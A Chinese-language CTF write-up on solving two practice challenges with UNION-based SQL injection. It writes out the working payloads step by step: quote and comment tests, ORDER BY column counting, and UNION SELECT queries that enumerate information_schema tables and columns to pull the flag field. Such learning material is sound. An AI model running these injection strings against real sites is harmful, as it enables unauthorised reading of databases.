union註入的幾道ctf題,實驗吧簡單的sql註入1,2,這個看起來有點簡單和bugku的成績單
這幾天在做CTF當中遇到了幾次sql註入都是union,寫篇博客記錄學習一下。
首先推薦一篇文章“https://blog.csdn.net/Litbai_zhang/article/details/83869918”
再附上一張文章裏面的圖
接下來直接上題
1.這個看起來有點簡單
題目連接:http://ctf5.shiyanbar.com/8/index.php?id=1
首先一進去看著那個表,和url裏面的id=1,就感覺應該是SQL註入的題。
老樣子,先把id=1,改成id=2,和id=3發現可以返回不同的數據。
然後 加個引號和註釋號 id=1‘#,發現報錯,由此確定是sql註入,並且應該是數字註入,不用閉合。
然後先確定列數,看圖感覺是兩列,再網址後輸 id=1 order by2 ,返回正確,id=1 order by 3返回錯誤, 從而判斷是兩列。
好,接下來用union搞一搞,輸入 id=-1 union select 1,2# 得到以下畫面
這還能說啥,直接一波爆庫名,爆表名,爆段名再說,
-1 union select -1,database()#
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
答案字段應該是再thiskey裏
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=‘thiskey‘ #
得到字段名 k0y
然後 -1 union select 1,k0y from thiskey#
拿到flag, 這道題也可以用sqlmap跑出來。
2.bugku成績單
題目鏈接 http://123.206.87.240:8002/chengjidan/index.php
和上一道題很相似,所以依然按照步驟來就好,不過這裏需要註意一下,當輸入 1的時候,返回的是龍龍的成績單,當加一個引號,不返回結果,然後再輸入1‘# 則返回龍龍的成績,很明顯,這裏需要閉合,是字符型的註入。
確定列數
1’ order by 5#返回錯誤, 1‘ order by 4 返回龍龍的成績單,說明有 4列 。但是表格只有三列,所以先用 union select 1,2,3,4 來搞一下事情 ,輸入-1‘ union select 1,2,3,4# 這裏說一下為什麽前面要用-1,這道題只會顯示一行,如果用1的話,會顯示龍龍的成績,這裏只會顯示一行,所以要讓第一行不顯示,直接用-1。
發現第一列被隱藏了,所以後面要輸入數據應該再二三四列顯示。
ok 都到這一步了,接下來就直接爆庫名這些了。。。
-1’ union select 1,database(),3,4#
-1‘ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4#
出現表名 fl4g
-1‘ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘fl4g‘),3,4#
得到 字段名 skctf_flag
接下來 -1‘ union select 1,(select skctf_flag from fl4g),3,4#
拿到答案,當然這道題也可以用sqlmap跑出來,只不過這裏是post傳數據,要用bp和sqlmap一起結合而已。
還有兩道題再下一篇博客寫。。。。。
union註入的幾道ctf題,實驗吧簡單的sql註入1,2,這個看起來有點簡單和bugku的成績單